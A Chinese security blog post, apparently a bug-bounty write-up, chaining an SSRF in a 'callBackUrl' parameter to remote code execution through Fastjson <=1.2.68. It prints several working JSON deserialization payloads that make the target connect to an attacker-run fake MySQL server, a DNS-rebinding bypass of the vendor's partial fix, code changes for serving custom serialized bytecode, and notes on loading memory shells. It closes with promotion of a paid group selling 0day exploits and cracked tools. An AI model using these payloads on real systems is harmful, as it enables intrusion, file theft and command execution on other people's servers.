从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧
从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧
脚*猪 渗透安全HackTwo 2025-05-25 16:00
0x01 前言
在某次众测过程中使用搜索引擎找到某单位部署的旁站,通过前端JS信息分析找到一处ssrf漏洞。在ssrf测试时根据提示信息得到服务端接收的数据格式为json格式,再通过构造json报错语句时服务端报错回显了fastjson版本号为1.2.58,然后寻找Fastjson 1.2.58利用链,最后RCE。很幸运利用的过程中都如预期所料没出现坑点。
参考文章:
https://xz.aliyun.com/news/17489
现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo“设为星标”,否则可能就看不到了啦!
末尾可领取挖洞资料文件 #渗透安全HackTwo
0x02 漏洞详情
在渗透过程中,如果遇到一些部署了很久的老站点(比如zf、edu),利用搜索引擎和网站时光机(web.archive.org)可以发现大量历史资产。下面以百度为例,使用过程中感觉必应搜集到的信息比谷歌要多
这个过程中我使用必应找到了xx系统,然后对js进行分析,找到了xxx/checkTokenByUrl接口,由于是键值对的形式,直接搜索键值xxx_CANENTER就能找到对应的参数。(漏洞修复在前端将这些接口都删了没图~~哈哈)
SSRF漏洞
然后就找到了这三个参数,构造请求,根据参数名可以发现callBackUrl应该是接受一个url地址,将url指向个人VPS地址,接收到了请求。
orgId=&accessToken=&callBackUrl=
到此基本可以判断此处存在SSRF了,再将url地址指向一个内网IP,根据响应时间判断通内网
根据响应包报错提示可以发现,服务端远程获取数据时,返回的数据不是map类型,也就是json。然后在VPS中,控制返回数据为json,服务端响应token失效
既然这里解析json那么就测试一下是使用jackson还是fastjson
{“@type”: “java.lang.AutoCloseable”
{“a\x63aa”:”00″}
报错为jackson,反之fastjson
这里使用
{“@type”: “java.lang.AutoCloseable”
服务端直接报错返回fastjson版本(补图)
fastjson<=1.2.68一般使用JDBC相关利用链,但是这里我没有进行利用,直接提交报告。我赌他肯定不会完完全全修复的,果然等了几天后漏洞确认并进行了修复,但是没有完全修复。hahahaha~~
梅开二度
上面提到,漏洞被修复了,然后我就查看它是如何进行修复的,经过一番测试发现,传入的url地址不能为ip地址,从传入域名没有进行限制。
这要怎么利用呢?可以使用DNS重绑定
绕过限制,众所周知DNS协议的作用是域名到IP的过程,如果将域名指定为一个内网IP就能就能绕过限制。
http://dnslog.pw/
就有这个功能
这里可以自己申请一个域名或者使用DNS重绑定的IP指向自己的VPS(国内VPS要备案)
那么接下来就进行fantjson反序列化测试了。
Fastjson <= 1.2.68反序列化RCE探索
对于fastjson <= 1.2.68版本,目前常用的利用链是JDBC文件读取、JDBC反序列化、文件写入还有文件读取等,不过较通用的是JDBC文件读取、JDBC反序列化
fastjson依赖库判断
在进行JDBC利用链探测时,首先要判断
mysql-connector-java
版本是多少,我这里直接使用对于的poc
来自这篇文章:
https://mp.weixin.qq.com/s/I0OdFPnRH_r1yZ04tOB-cw
fastjson<=1.2.68 mysql-connector-java-5.1.1-5.1.49可SSRF 5.1.11至5.1.48可反序列化
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "YOUR_DNSLOG",
"portToConnectTo": 3306,
"info": {
"user": "yso_xxx",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
fastjson<=1.2.68 mysql-connector-java-6.0.2-6.0.3可反序列化
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://YOUR_DNSLOG:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_xxx_calc"
}
}
}
fastjson<=1.2.68 mysql-connector-java-8.0.19可反序列化,>8.0.19可SSRF
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [{
"host": ""
}],
"slaves": [],
"properties": {
"host": "YOUR DNSLOG",
"user": "yso_xxx_calc",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}
另一种写法
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": ""
}
],
"properties": {
"allowUrlInlocalInfile": "true",
"allowLoadLocalInfile": "true",
"autoDeserialize": "true",
"dbname": "dbname",
"host": "YOUR_DNSLOG",
"password": "pass",
"port": "7777",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"user": "win_ini"
},
"slaves": []
}
}
}
反序列化利用
在上面探测中,这个payload成功触发dnslog
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "YOUR_DNSLOG",
"portToConnectTo": 3306,
"info": {
"user": "yso_xxx",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
既然触发了DNSLOG,那么接下来就可以搭建一个利用Mysql服务了,用到了下面这个项目,根据使用说明书进行使用
python<3.8用这个
https://github.com/fnmsd/MySQL_Fake_Server
python3.8+用这个
https://github.com/clown1ay/MySQL_Fake_Server
首先进行文件读取,user指定要读取的文件
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "YOUR_DNSLOG",
"portToConnectTo": 7777,
"info": {
"user": "win_ini",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
本地和目标系统都读取不成功,本地
mysql-connector-java为5.1.47
转战反序列化,先进行DNSURL利用链探测,反序列化操作是否成功
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "YOUR_DNSLOG",
"portToConnectTo": 7777,
"info": {
"user": "yso_URLDNS_http://YOUR_DNSLOG",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
本地演示
既然能正常执行反序列化操作,那么下一步就需要测试命令执行。这里使用到了@Y4tacker大佬给出的利用链
https://paper.seebug.org/2067/
代码微调
直接拿文章中给出的代码进行修改,添加这段代码,将反序列化的内容保存到文件中。自定义执行命令
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("fastjson1268.bin"));
oos.writeObject(hashMap);
oos.close();
还要修改MySQL_Fake_Server
项目server.py文件,get_yso_content函数的内容,让其从指定文件中读取
with open(r'fastjson1268.bin','rb') as f:
file_content = f.read()
return file_content
将生成的fastjson1268.bin放到server.py文件同级目录中,运行server.py文件
user填入yso_xxx就能触发server.py的get_yso_content函数,此时fastjson测试payload为
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "YOUR_DNSLOG",
"portToConnectTo": 7777,
"info": {
"user": "yso_URLDNS_http://YOUR_DNSLOG",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
很幸运系统成功触发了命令执行ping xx.dnslog.com
到此就完成了RCE,证明漏洞危害,提交报告。
反序列化改造
查看Y4大佬给出的利用链可以发现,其使用的是
TemplatesImpl
进行动态加载字节码,那么直接将字节码改为回显马和内存马也是可以的,我将回显马编译为class文件,然后读取该文件,传入到
_bytecodes中
0x03 总结
通过必应搜索发现目标旁站,利用前端JS分析找到 /xxx/checkTokenByUrl 接口的 SSRF 漏洞。测试中确认服务端使用 Fastjson 1.2.58 解析 JSON,报错暴露版本信息。结合 DNS 重绑定绕过修复限制,使用 Fastjson <= 1.2.68 的 JDBC 反序列化利用链,通过 MySQL_Fake_Server 实现文件读取和 RCE,最终触发命令执行(ping DNSLOG)。信息收集是 Web 该漏洞的关键,资产发现与漏洞挖掘相辅相成,成功利用需深度分析与灵活构造 payload。
喜欢的师傅可以点赞转发支持一下谢谢!
0x04 内部星球VIP介绍V1.4(福利)
如果你想学习更多另类渗透SRC挖洞技术/攻防/免杀/应急溯源/赏金赚取/工作内推/欢迎加入我们内部星球可获得内部工具字典和享受内部资源/内部群。
1.每周更新1day/0day漏洞刷分上分,目前已更新至3800+
2.包含网上一些付费工具/BurpSuite漏洞检测插件/
fuzz字典
等等
3.Fofa会员Ctfshow各种账号会员共享等等
4.最新SRC挖掘/红队/代审视频资源等等
- …..
6.详情直接点击下方链接进入了解,后台回复”
星球
“获取优惠先到先得!后续资源会更丰富在加入还是低价!(即将涨价)以上仅介绍部分内容还没完!点击下方地址全面了解👇🏻
👉点击了解加入–>>2025内部VIP星球福利介绍V1.4版本-1day/0day漏洞库及内部资源更新
结尾
免责声明
获取方法
回复“app
” 获取 app渗透和app抓包教程
回复“渗透字典
” 获取 一些字典已重新划分处理(需要内部专属fuzz字典可加入星球获取,内部字典多年积累整理好用!持续整理中!)
回复“书籍
” 获取 网络安全相关经典书籍电子版pdf
最后必看
文章中的案例或工具仅面向合法授权的企业安全建设行为,如您需要测试内容的可用性,请自行搭建靶机环境,勿用于非法行为。如
用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。
本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。
如您在使用本工具或阅读文章的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。本工具或文章或来源于网络,若有侵权请联系作者删除,请在24小时内删除,请勿用于商业行为,自行查验是否具有后门,切勿相信软件内的广告!
往期推荐
1.内部VIP知识星球福利介绍V1.4版本0day推送
2.最新Nessus2025.01.06版本主机漏洞工具
3.最新BurpSuite2024.11.2专业稳定版
4.最新xray1.9.11高级版下载Windows/Linux
5.最新HCL AppScan_Standard_10.8.0.28408特别版下载
渗透安全HackTwo
微信号:关注公众号获取
后台回复星球加入:
知识星球
扫码关注 了解更多
喜欢的师傅可以点赞转发支持一下